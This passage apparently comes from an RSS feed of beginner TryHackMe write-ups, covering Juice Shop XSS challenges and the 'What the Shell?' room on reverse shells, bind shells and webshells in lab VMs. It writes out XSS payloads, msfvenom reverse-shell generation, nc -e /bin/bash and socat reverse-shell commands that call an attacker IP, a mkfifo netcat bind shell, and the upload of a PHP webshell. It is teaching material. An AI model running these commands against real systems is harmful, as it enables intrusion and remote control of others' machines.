src="https://cdn-images-1.medium.com/max/645/1*4ZpriY5pRPHL84RAUg7GeQ.png" /></figure><p>This situation happens whenever an app executes as it is built to and doesn’t sanitize the input for characters that are used to make up like the &lt; or &gt; signs used as opening and closing brackets in HTML markup syntax for defining HTML elements.</p><p><strong>Question #2: Perform a persistent XSS!</strong></p><p>This question asks to do an XSS attack where the JavaScript is run when the server or backend does not sanitize user data when the data is uploaded to a page.</p><p>I followed the hints and proceeded to carry out and demo this type of attack.</p><p>I logged into the admin account and looked at the possible account options for the admin user.</p><p>I found an option under the<strong> Privacy &amp; Security</strong> tab that called <strong>Last Login IP </strong>that showed the IP address of the user account last logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/218/1*0B6OcdIzvPx2ddvwbKZjKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*GQThqSQvUdMpVat9trx7bQ.png" /></figure><p>With starting a new VM after completing the last tasks, I found the IP Address to be 0.0.0.0 (expected since I was running a new Juice Shop VM for the challenge and just logged in for the first time on this VM)</p><p>This is a value that is getting stored and captured based on how the app recognizes who was the last person logged in before logging out. To investigate how the IP is captured, I would need to use Burp Suite Proxy Intercept tool to see what headers and mechanism sets this.</p><p>While on the Last Login IP page, I proceeded to turn on my Burp Suite Proxy on my AttackBox and Firefox browser and proceeded to click the logout button to intercept the log out request sent to the app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/214/1*0AUBYImFm9HZQhugd65DfA.png" /></figure><p>I intercepted the request in Burp Suite as screenshotted below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*l-EGqGnjhGnObJNsSZQv_g.png" /></figure><p>Under the Inspector panel and under the Request headers section, I added a new header with the name True-Client-IP and a value of <em>&lt;iframe src=”javascript:alert(`xss`)”&gt;</em></p><blockquote>The HTTP header True-Client-IP will tell the server or proxy what the IP of the client is. This can work if there is no input sanitization being done for the HTTP request headers.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/247/1*6hdeX4hRhi4LfQ4iX8edIg.png" /></figure><p>Once I clicked <strong>Add</strong>, I clicked the <strong>forward</strong> button on Burp Suite to forward the <strong>/saveLoginIP </strong>request to the server.</p><p>Once I forwarded the modified request from my Burp Suite proxy. I got a success prompt saying I completed the challenge and received the flag needed to complete this task challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dqwczOHcPyiQbUfc-6F5VA.png" /></figure><p>Nevertheless, I wanted to see what would happen if I accessed the last logged in IP page again. I logged back into the admin account and navigated back to the Last Login IP page to see value is returned and saved on this page.</p><p>What is returned is the HTML to render an iframe HTML element that executes JavaScript code to create an alertbox with a message which ran successfully as screenshotted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*3gJY4mUW4dpsXdS7MIE8ng.png" /></figure><p><strong>Question #3: Perform a reflected XSS!</strong></p><p>This question is asking to do a XSS attack where JavaScript code is run on the client side or frontend of the web application.</p><p>I turned off my Burp Suite Proxy for the time being and proceeded to log back into the admin user. I went into the account settings tab and under the <strong>Orders &amp; Payment </strong>dropdown, I selected the Order History link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/204/1*9eQyxREbAEzeyxBEHelE2A.png" /></figure><p>I then clicked on one of the truck icons that acted as hyperlinks for tracking an order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*xrzmgsIkOcXFXhF4OWTzxA.png" /></figure><p>I was brought to a track order result page. In the browser I noticed there was a query parameter of id that matches the order ID of order being tracked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*qjc3NR2a11e6-UfAnR3s1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*x_4dTa7eBOUD8R_YNMJhYQ.png" /></figure><p>For the XSS attempt, I changed the parameter of the value within the URL in the search bar of my browser from having the order id number as seen below</p><blockquote>http://10.10.228.172/#/track-result?id=<strong>5267-557dc4e7fb97c510</strong></blockquote><p>to</p><blockquote>http://10.10.228.172/#/track-result?id=<strong>&lt;iframe src=”javascript:alert(`xss`)”&gt;</strong></blockquote><p>Once I have the URL modified, I proceeded to hit search to navigate and see if the code executes. In this case, the JavaScript is executed successfully and shows a generic alertbox being generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*JOqYHpV0jcNXmauvN8ypLA.png" /></figure><p>I clicked OK and got a success prompt and the flag needed to complete this change of demoing a reflected XSS attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*enod4ph0utu1MR3vlJZojw.png" /></figure><h3>Task 8: Exploration!</h3><p><strong>Question 1: Access the /#/score-board/ page</strong></p><p>For the final task and question, we are asked to access the scoreboard page of the Juice Shop application to get the flag.</p><p>Without the hints given in this task, this is an easy challenge that can also be solved in a similar way to how I was able to find the administration page path in the main-es2015.js file where I looked in the application’s JavaScript code files using the JS debugger option tab in the developer web tools and doing text searches relating to scoreboard in as screenshotted below to find clues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*Duapel5RUbSlKORHsCpEDA.png" /></figure><p>Once I entered the <strong>/score-board</strong> path to my app’s URL, I was able to get success prompt and the flag needed to complete this final challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*JaE-JNItdu3Ozvj0saM-vQ.png" /></figure><p>I took had a lot of takeaways from completing this challenge and experience gained from doing these challenges. I learned what the OWASP Juice Shop is, especially the Burp Suite features that allowed me to test for vulnerabilities, as well as terms I came across in my cybersecurity immersion through learning and doing.</p><p>This wraps up my write-up for this TryHackMe Room, if there is anything you liked about this write-up, leave a clap, or any have any constructive feedback to improve the quality of my write-up, just let me know.</p><p>Keep on learning,</p><p>-Chris Fouad J.</p><h3>References:</h3><p><a href="https://tryhackme.com/room/owaspjuiceshop">TryHackMe | OWASP Juice Shop</a></p><p><a href="https://cwe.mitre.org/data/definitions/626.html">CWE — CWE-626: Null Byte Interaction Error (Poison Null Byte) (4.10) (mitre.org)</a></p><p><a href="https://defendtheweb.net/article/common-php-attacks-poison-null-byte">Common PHP attacks: Poison Null Byte | Defend the Web</a></p><p><a href="https://wiki.zacheller.dev/web-app-pentest/upload-download/error-only-.md-and-.pdf-files-are-allowed">Download Bypass: Poison Null Byte — SecWiki (zacheller.dev)</a></p><p><a href="https://www.w3schools.com/tags/tag_iframe.asp">HTML iframe tag (w3schools.com)</a></p><p><a href="https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS).html">OWASP Top Ten 2017 | A7:2017-Cross-Site Scripting (XSS) | OWASP Foundation</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1510d349771" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What the Shell? TryHackMe Room Writeup]]></title>
            <link>https://medium.com/@cyberjab/what-the-shell-tryhackme-room-writeup-55b3863af0cc?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/55b3863af0cc</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Fri, 07 Apr 2023 21:54:11 GMT</pubDate>
            <atom:updated>2023-04-15T23:04:06.028Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBrGRiGZBsVqFtdEjHCbxQ.png" /><figcaption>Hero image of person interacting with command line shells.</figcaption></figure><p>This is my writeup on the steps I took to complete the challenges and questions in this TryHackMe room that is part of Shells and Privilege Escalation section of the Complete Beginner Path. I also include some notes on the concepts covered.</p><p>The challenges were completed using the in-browser VM machine on the TryHackMe platform for this writeup. This room is a TryHackMe subscriber exclusive room and a subscription to the THM learning platform is needed. It can be accessed from this <a href="https://tryhackme.com/room/introtoshells">link</a> if you are a member on the TryHackMe platform.</p><p><strong>Terms to keep in mind</strong></p><p><strong>AttackBox </strong>— An in-browser based VM running Ubuntu Linux provided by the TryHackMe platform that acts as an attacker’s (i.e. a pen-tester or actual hacker) machine that can interact with the vulnerable VMs or servers to demonstrate the reverse and bind shell techniques in this writeup.</p><p><strong>Shell </strong>— In this context, it is a means of communication between a user and an operating system that lets a user issue commands to the operating system to execute. The commands a user or attacker can input can be to run programs or opening and navigating through directories and files in a server’s operating system file system. Popular examples in Bash shell (bash) for Linux OS and cmd.exe and PowerShell for Windows OS.</p><p><strong>Bind shell </strong>— When an attacker opens a port on the target server to allow an attacker to connect to it so they can execute further commands on it, the remote server sends back a bind shell.</p><p><strong>Reverse shell </strong>— when an attacker forces a target remote server to execute code that connects back to the attacker machine which has a listener setup to receive the connection from the code execution on a target, giving the attacker command line access to the target server. This command line access is known as a reverse shell.</p><p><strong>Webshell </strong>— A script that is run inside a webserver with the purpose of executing code on the webserver.</p><h3>Task 1 : What is a shell?</h3><p>Task 1 gives an overview of what a shell is, what they are used for, what is a reverse shell vs a bind shell, and some examples of shells in the Windows and Linux Operating System.</p><p>This room doesn’t require any questions to be answered, we just need to click the completed button when ready to move on to task 2.</p><h3>Task 2 : Tools</h3><p>Task 2 briefly discusses several tools that can be used for attackers to receive reverse and to send bind shells. I proceeded to read the content and click the completed button to complete this task.</p><p>List of tools and their caveats:</p><ol><li><strong>Netcat </strong>— Known as the traditional “Swiss Army Knife” of networking to do all kinds of computer networking related interactions.</li></ol><ul><li>One use for this tool is to receive reverse shells and connect to remote ports attached to bind shells on a target system.</li><li>This tool is installed on every Linux distribution by default.</li></ul><p>2. <strong>Socat </strong>— Can do the same things as netcat but also more. More stable (less likely to lose connection to) compared to netcat shells. Socat and netcat have .exe versions to use on windows</p><ul><li>Syntax of this tool can be more difficult to understand.</li><li>Socat is rarely installed by default on every Linux distribution.</li></ul><p>3.<strong> Metasploit multi/handler module </strong>— a tool that is part of the Metasploit framework that allows obtaining stable shells.</p><p>4. <strong>Msfvenom </strong>— a tool that is part of the Metasploit framework used for payload generation and encoding. It can create payloads for reverse and bind shells.</p><ul><li>Is shipped as a standalone tool despite being part of Metasploit</li></ul><h3>Task 3 : Types of shells</h3><p>This task goes over detailed information on how reverse and bind shells work, a detailed example of both of these shells, and the concept of shell interactivity.</p><p>After reading the overview, I proceeded to answer the following task questions.</p><h3>Task 3 Questions</h3><p>Which type of shell connects <em>back</em> to a listening port on your computer, Reverse (R) or Bind (B)?</p><blockquote>R</blockquote><p>You have injected malicious shell code into a website. Is the shell you receive likely to be interactive? (Y or N)</p><blockquote>N</blockquote><p>When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?</p><blockquote>T</blockquote><h3>Task 4 : Netcat</h3><p>The following task covers how to use netcat or the nc command to start a listener needed for reverse shells and the phase of connecting to a target IP to obtain bind shells on a target with a listener on the target IP’s port number.</p><p>I have been exposed to and used this tool going through a TryHackMe room that covered remote code execution exploits, the OWASP 2020 Top Ten room.</p><h3>Task 4 Questions and Answers</h3><p>Which option tells netcat to <em>listen</em>?</p><blockquote>-l</blockquote><p>How would you connect to a bind shell on the IP address: 10.10.10.11 with port 8080?</p><blockquote>nc 10.10.10.11 8080</blockquote><h3>Task 5 : Netcat Shell Stabilization</h3><p>This task goes through 3 examples out of many ways to stabilize netcat shells once connected to one on Linux and Windows systems.</p><p>List of 3 example ways</p><ol><li>Using Python to spawn a bash shell with more features</li><li>rlwrap tool to give accessibility to features such as access to history of commands, use of arrow keys, and tab autocompletion</li><li>Socat with the use of an initial netcat shell</li></ol><p>It also goes through how to change your terminal tty size when in control of a reverse or bind shell to have more screen coverage when using something like a text editor.</p><p>I took notes and proceeded to answer the task questions.</p><h3>Task 5 Questions and Answers</h3><p>How would you change your terminal size to have 238 columns?</p><blockquote>stty cols 238​</blockquote><p>What is the syntax for setting up a Python3 webserver on port 80?</p><blockquote>sudo python3 -m http.server 80</blockquote><h3>Task 6 : Socat</h3><p>This task covers the syntax of the socat utility command for starting a basic reverse shell listener connection and how to connect to a waiting port listener from on both Linux and Windows systems. An example of primary use of socat is also covered in this task.</p><p>I proceeded to read the overview and answer the question on this task.</p><h3>Task 6 Question and Answer</h3><p>How would we get socat to listen on TCP port 8080?</p><blockquote>TCP-L:8080</blockquote><h3>Task 7 : Socat Encrypted Shells</h3><p>This task discusses the ability to create encrypted bind and reverse shells with the socat tool.</p><p>I proceeded to read the remaining task information to complete the following task questions. This requires going over the command syntax from the previous task for a Linux-only TTY reverse shell and knowing what commands to modify.</p><p>The first task question asks for the syntax of setting up an OPENSSL-LISTENER on port 53 using the TTY technique and the generated certificate “encrypt.pem” on a target machine.</p><p>I modified the command to be the following:</p><p>socat OPENSSL-LISTEN:53 cert=encrypt.pem, verify=0 FILE:`tty`,raw, echo=0</p><ul><li><em>OPENSSL-LISTEN:&lt;port&gt;</em> option instead the TCP-L option to specify the reverse shell listener connection to be encrypted</li><li><em>cert=encrypt.pem </em>option to specify the certificate for our listener named encrypt.pem.</li><li><em>verify=0</em> tells the connection we are setting to not validate that this cert is properly signed by a recognized authority.</li><li>FILE:`tty`- we are connecting two points, the listening port number and a file which is tty (the current tty of the target machine)</li><li>The <em>raw, echo=0</em> snippet sets the echo to be to zero to turn off the terminal echo and allow the user to allow access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes.</li></ul><p>The second question asks what the syntax an attacker would need to use to be able to connect back to the listener created from the first question, assuming the attacker’s IP address is 10.10.10.5. I looked at the previous task and knowledge learned in this task to craft the following command:</p><p>socat OPENSSL:10.10.10.5:53 EXEC:&quot;bash -li&quot;,pty,stderr,sigint,setsid,sane</p><p>This command is made of two parts:</p><p>socat OPENSSL:10.10.10.5:53 is how an attacker links up with the socat listener, providing it’s IP address and desired port number.</p><ul><li>10.10.10.5 — is the attacker’s IP address</li><li>53 — is the attacker’s port number</li></ul><p>The second part of the whole command was one part I took time to research and understand before figuring it out,</p><p>EXEC:&quot;bash -li&quot;,pty,stderr,sigint,setsid,sane</p><ul><li>EXEC — an address type that invokes the specified program passed as a command-line argument</li><li>”bash -li” — creates a bash session with the -i switch to make the session interactive and the -l to make the shell act as if it has been directly invoked by login.</li><li>pty — allocates a pseudoterminal on the target as part of the shell stabilitization process</li><li>stderr (standard error) — to ensure error messages get shown in the shell.</li><li>sigint — specifies to pass any Ctrl + C commands into the sub-process of the shell interface to allow commands to be killed inside the shell.</li><li>setsid — creates the process in a new session</li><li>sane — stabilizes the terminal</li></ul><h3>Task 7 Questions and Answers</h3><p>What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called “encrypt.pem”</p><blockquote>socat OPENSSL-LISTEN: 53, cert=encrypt.pem, verify=0 FILE: `tty`, raw, echo=0</blockquote><p>If your IP is 10.10.10.5, what syntax would you use to connect back to this listener?</p><blockquote>socat OPENSSL:10.10.10.5:53 EXEC:“bash -li”,pty,stderr,sigint,setsid,sane</blockquote><h3>Task 8 : Common Shell Payloads</h3><p>This task begins with talking about ways to use netcat as a listener for a bind shell through commands covered in this task.</p><p>The command mkfifo is discussed along with a technical explanation for how to use this command to make a listener for a bind shell.</p><p>The last example covered talks about a one liner command for a Powershell reverse shell that can be used when targeting a Windows Server. Task 13 is where the hands-on practice for task 8 takes place.</p><p>I proceeded to read through and answer the task questions.</p><h3>Task 8 Questions and Answers</h3><p>What command can be used to create a <em>named pipe </em>in Linux?</p><blockquote>mkfifo​</blockquote><p>Look through the linked Payloads all the Things Reverse Shell Cheatsheet and familiarize yourself with the languages available.</p><blockquote>No answer needed</blockquote><h3>Task 9 : msfvenom</h3><p>Task 9 gives an brief introduction on the msfvenom focusing on the following topics:</p><ul><li>The standard syntax for msfvenom</li></ul><p>msfvenom -p &lt;payload&gt; &lt;options&gt;</p><ul><li>An example msfvenom command to create a Windows x64 reverse shell in a .exe format</li><li>The difference between staged reverse shell payloads and stageless reverse shell payloads</li><li>Meterpreter shells (Metasploit’s own type of fully-featured shell)</li><li>Payload naming conventions</li><li>the use of the command msfvenom --list payloads to list all available payloads</li></ul><h3>Task 9 hands-on steps</h3><p>I proceeded to answer the questions for this task.</p><h3>First Task Question</h3><p>Question one is more hands on based and doesn’t require an answer, but I will show the screenshots and steps I took to complete it.</p><p>I proceeded to start up my Linux VM Attackbox to simulate an attacker’s machine.</p><p>One important thing to note and that I learned is that tun0 would be the network interface to get the IP address from if using the OpenVPN method for accessing target machines instead of using an AttackBox as screenshotted below. Before, I was facing some confusion on what the tun0 interface was since my AttackBox didn’t have this interface</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*xxzy79-0JDQ0SYBTN9kPxQ.png" /><figcaption>Screenshot of ways to access target machines options for TryHackMe room</figcaption></figure><p>Next, I opened the terminal command line on my VM and typed in the command below to list and view the status of all the network interfaces on my deployed VM:</p><p>ifconfig</p><p>I got a list of several different interfaces in the following order and did some research to understand the interface naming conventions.</p><ul><li>docker0 — a virtual interface created by docker.</li><li>ens5 — the network interface containing the IP address of the VM to be used in generating the payload if using the AttackBox</li><li>lo — the loopback interface that the VM uses to communicate with itself</li></ul><p>— virtual interfaces known as Virtual Ethernet (aka vEth):</p><ul><li>veth604dfe5</li><li>veth62e68e5</li></ul><p>I proceeded to take what I learned from this task and run commands to find reverse shell payloads that use Windows OS and architecture of x64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vl--1adiIZycX0vh6lg_dw.png" /><figcaption>Screenshot of ifconfig command output and annotation of network interface with my AttackBox’s IP address</figcaption></figure><p>The msfvenom tool classifies payloads by the following payload naming convention: the computer, server, or network device’s OS, CPU architecture, and type of payloads. Each part is followed by a forward slash / as seen below:</p><p>&lt;OS&gt;/&lt;arch&gt;/&lt;payload&gt;</p><p>Although the task provides the type of payload to use for the reverse shell generation. I pretended I didn’t know the exact command off the top of my head and crafted a Linux command to help me find it based experimenting with the <em>grep </em>command and knowledge of how <em>msfvenom</em> classifies the payloads it comes with.</p><p>I used the following <em>msfvenom </em>command with the — list payloads option to find and list all the available payloads and piped it into the <em>grep </em>command to filter by the naming convention of payloads for Windows using the x64 architecture and the payload path shell/reverse for reverse shells.</p><p>msfvenom --list payloads | grep &#39;windows/x64/shell/reverse&#39;</p><p>I got back three payloads and proceeded to use the first one, <em>windows/x64/shell/reverse_tcp </em>to generate the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQnzTC1I72UcCs95azwFJg.png" /><figcaption>Screenshot of command to find a windows</figcaption></figure><p>I crafted and used the following command below to generate a staged reverse shell for a 64-bit Windows target in a .exe format using my ens5 IP address and a chosen port of 443,</p><blockquote>msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=10.10.8.125 LPORT=443.</blockquote><p>The payload is generated as shell.exe is then saved in the current directory I executed the command in which is the root folder of my attacker VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AFDpyTL1HxFw8DNw5DNFag.png" /><figcaption>Screenshot of result of msfvenom payload generation and where the shell file got saved to.</figcaption></figure><p>That concludes the answer and steps to answer the first question.</p><h3>Second Task Question</h3><p>The second question was straightforward and I figured it out reading the content on Task 9.</p><h3>Third Task Question</h3><p>The final question can be solved like the first task question in this room as we just need give the command to use to generate a staged meterpreter reverse shell for a 64-bit Linux target with the following assumptions below:</p><ul><li>The listening IP is <em>10.10.10.5</em></li><li>The port to listen on is <em>443</em></li><li>The format of the shell is <em>elf</em></li><li>The output filename is <em>shell</em></li></ul><p>I ran the command below to see all the possible payloads based on a filter criteria for 64-bit Linux meterpreter shell payloads</p><p>msfvenom --list payloads | grep &#39;linux/x64/meterpreter&#39;</p><p>I picked the second choice highlighted in the screenshot below,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JZ4RdHoTyh9ZFoqThsFUQ.png" /><figcaption>screenshot of output of Linux command for listing 64-bit linux meterpreter payloads</figcaption></figure><p>I proceeded to craft the payload as follows and ran it to ensure it generates successfully,</p><blockquote>msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell.elf LHOST=10.10.10.5 LPORT=443</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XA0teBaJg5nlI2p0X-zTMQ.png" /><figcaption>Output of msfvenom generating a 64-bit Linux Meterpreter shell</figcaption></figure><h3>Task 9 Questions and Answers</h3><p>Generate a staged reverse shell for a 64 bit Windows target, in a .exe format using your TryHackMe tun0 IP address and a chosen port.</p><blockquote>no answer needed, steps to attempt this is provided in the section above.</blockquote><p>Which symbol is used to show that a shell is stageless? (the underscore character)</p><blockquote>_</blockquote><p>What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf and the output filename should be shell</p><blockquote>msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell.elf LHOST=10.10.10.5 LPORT=443</blockquote><h3>Task 10 : Metasploit multi/handler</h3><p>The task gives a brief overview of how to use the Multi/Handler tool and its role when using staged payloads, meterpreter shells, and for catching reverse shells.</p><p>I proceeded to follow along with the task examples and familiarize myself with the options and sessionscommands do within the multi/handler tool.</p><p>Afterwards, I went through the task content, I proceeded to answer the following task questions.</p><h3>Task 10 Questions and Answers</h3><p>What command can be used to start a listener in the background?</p><blockquote>exploit -j</blockquote><p>If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?</p><blockquote>sessions 10</blockquote><h3>Task 11 : Webshells</h3><p>This task goes over what a webshell is, the scenario of how they could occur in if a website that provide file upload functionality and some examples of this concept. There were no hands-on questions to do or answer besides clicking the completed button after reading the information on this task.</p><h3>Task 12: Next Steps</h3><p>This next task provides a overall of all the information covered and the big takeaway of this THM room for pentesters, security professionals, and attackers in the below paragraph</p><p>All shells, reverse and bind, are one vital technique for gaining remote code execution on a target machine; but the shells will never have all the features as a native shell or logging into a target machine through a running service using a obtainable (if possible) user account or even adding a new account for further exploiting on a target machine.</p><p>We just need to read the information and click the completed button to finish the task.</p><h3>Task 13: Practice and Examples</h3><p>Task 13 contains challenges to practice what is learned and covered in the previous tasks in a sandbox environment by using one of two virtual machines that will be the target servers, a Ubuntu 18.04 server and one Windows server, in the next two tasks to generate, send, and receive shells using my Linux VM AttackBox as the attacking machine. Some of the questions are open ended and can have many answers and ways of doing and answering them, they can be answered following along with the material given in different tasks.</p><h3>Task 13 Questions and Answers</h3><p>The next few questions will involve completing specific tasks on the Linux Practice Box. I proceeded to start up my Linux practice VM to begin working on the questions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*SgLc8hDj1q73RRsozfuCEQ.png" /><figcaption>Screnenshot of Linux practice VM started</figcaption></figure><p><strong>Try uploading a webshell to the Linux box, then use the command: </strong><strong>nc &lt;LOCAL-IP&gt; &lt;PORT&gt; -e /bin/bash to send a reverse shell back to a waiting listener on your own machine.</strong></p><p>The next step is to determine what type of webshell to use and try for the upload with the goal of creating a reverse shell on the target server and to connect back to the attacking computer with access to the target server.</p><p>I did some reconnaissance on the target IP Linux server with the Nmap tool to get a view of what ports are used to see what port number to use to blend in with the listener on our machine to use for the reverse shell:</p><blockquote>nmap 10.10.58.14 -p- -T5 -vv</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*oDB-U9bOLW-h5HQqgtximA.png" /></figure><p>The result of the scan was 2 open ports and 24 filtered ports with 3 known services and the rest showing unknown.</p><p>I then began looking for webshell scripts to use. From task 6 of this room, we are told that webshell scripts are provided and located within the <em>/usr/share/webshells</em> directory path in Linux distros or Kali Linux by default. we are also introduced to an example webshell script known as the pentestmonkey PHP reverse shell script that can be used on Linux and Unix-based systems. This is one possible webshell script that can be used.</p><blockquote>One thing I learned is that the target server’s operating system and webserver in use on it will be one factor that determines what type of webshell script to try in the file upload.</blockquote><p>I proceeded to the <em>usr/share/webshells/php</em> directory on my Linux AttackBox to find the above script. Next, I modified a copy of the script with our AttackBox IP address to match with our listening AttackBox connection before we upload it on the file upload web page of the target Linux machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*FYCeTiy16p-NG_an6dGaDA.png" /><figcaption>Directory location of pentest monkey PHP webshell script in the Caja file manager</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*jI2tnnS8GqmB8CCcd7jZTw.png" /><figcaption>Screenshot of line numbers of values we need to change</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*4oZMR9L3ggskgGl2f7IciA.png" /><figcaption>Screenshot of webshell with my IP address and port number of listener connection</figcaption></figure><p>The next step I did was to start and open the listener connection on my AttackBox with the same IP and the specified port of 1234 as screenshotted below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*obnb4ii71SK-G9QbrE4F3w.png" /><figcaption>Screenshot of netcat listener running on Linux VM Attackbox</figcaption></figure><p>I proceeded to the file upload web page of the target Linux server to upload the script with our commands to initiate a reverse shell connection back our listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*EcNU8OqhUmaWHVJ0qqy0kw.png" /><figcaption>Screenshot of the file upload page for Linux practice server.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5MzxuK0ubS9p7Q3vXl97w.png" /><figcaption>Zoomed in screenshot of the button to click to upload the webshell script.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*2_BlfM2l5uwzPAZSrypJSw.png" /></figure><p>I proceeded to upload the webshell script by clicking submit and got a message saying the file upload is successful and provides the hyperlink of where the file is located</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*7Q7yMfmytREn8G81A3328Q.png" /><figcaption>Screenshot of webshell file selected and about to be submitted</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*PWIjdM8TljlJgwzeBh8OTQ.png" /><figcaption>Screenshot of a successful file upload pointing to the uploads directory.</figcaption></figure><p>With knowing the /uploads is a directory path, I proceeded to navigate to 10.10.58.14/uploads within the firefox browser as screenshot below and clicked the hyperlink of the previous modified php-reverse-shell.php file that I uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*u5EpSPWCcr0EmlE2U8hS9w.png" /><figcaption>Screenshot of the index page for /uploads showing the uploaded PHP webshell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*Ul0NyTLy_Sptf3-fapjREg.png" /><figcaption>Screenshot of web page behavior when we click and navigate to the webshell</figcaption></figure><p>On my terminal command line where I have my listener for the webshell, I am returned a connection to the target Linux server as the www-data user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*jQ2j4LRxSzt_nc6TAgPFlA.png" /></figure><p>As we see on the screen, the shell returned is a sh shell. The next step is create another listener connection with a different port on the AttackBox that will return a connecetion as a bash shell</p><blockquote>nc -lvnp 2222</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*aVq88srCJwQChnPCvkceIQ.png" /></figure><p>After my second listener is set up, on my first listener connection, I proceeded to use the following command below to send a reverse shell back in the form of a bash shell to the listener I have running on the port 2222 I started on my machine.</p><blockquote>nc 10.10.27.30 2222 -e /bin/bash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*6QLWIhaPPb6zllNYYfeN1Q.png" /><figcaption>Screenshot of command entered within the first listener</figcaption></figure><p>On the terminal of the port 2222 listener, I get a confirmation message saying the connection is received.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*hoVFvEvh04osnPF4ivEzCQ.png" /><figcaption>Screenshot of listener receiving shell and returning output</figcaption></figure><p>I proceeded to run the <em>whoami </em>command to confirm I am the same user as I was in the sh shell.</p><p>The second question of this task is the same set of steps that was done above that is only applicable if using a OpenVPN connection type of access for this room which is out of the scope for this initial writeup when using an in-browser AttackBox VM.</p><p>The third question</p><p><strong>Log into the Linux machine over SSH using the credentials in task 14. Use the techniques in Task 8 to experiment with bind and reverse netcat shells.</strong></p><p>this question directs us to go back into Task 8 and to look at the screenshots and try out the commands discussed on the task to execute</p><p>I opened up a terminal on my AttackBox to serve as the attacker on the left and the right terminal as the target machine logged in as the shell user with SSH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*K3ZuhaRAtVXK4QEGcwsvOQ.png" /></figure><p>I looked over the mkfifo command used to create a listener for a bind shell with netcat.</p><p><strong>Netcat Bind Shell</strong></p><p>After logging in by SSH as the <strong>shell </strong>user,<strong> </strong>I ran the following command below on the target server below, with the port value being 8080</p><blockquote>mkfifo /tmp/f; nc -lvnp &lt;PORT&gt; &lt; /tmp/f | /bin/sh &gt;/tmp/f 2&gt;&amp;1; rm /tmp/f</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*PvZOi_vsKoiCrEDJqFeN4A.png" /></figure><p>Then on my AttackBox VM which is the attacking machine, I entered the following command to connect to the listener started on the target server.</p><blockquote>nc 10.10.43.119 8080</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*vjYb6Tgd7Ho_PrD7zOUE8A.png" /></figure><p>I now had a bind shell and access to the target with the bind netcat shell technique</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*IOAYtlSH24unPwktEjjmUg.png" /></figure><p>Task 8 gives a breakdown of what above command does,</p><p><em>The command first creates a </em><a href="https://www.linuxjournal.com/article/2156"><em>named pipe</em></a><em> at </em><em>/tmp/f.</em></p><p><em>It then starts a netcat listener, and connects the input of the listener to the output of the named 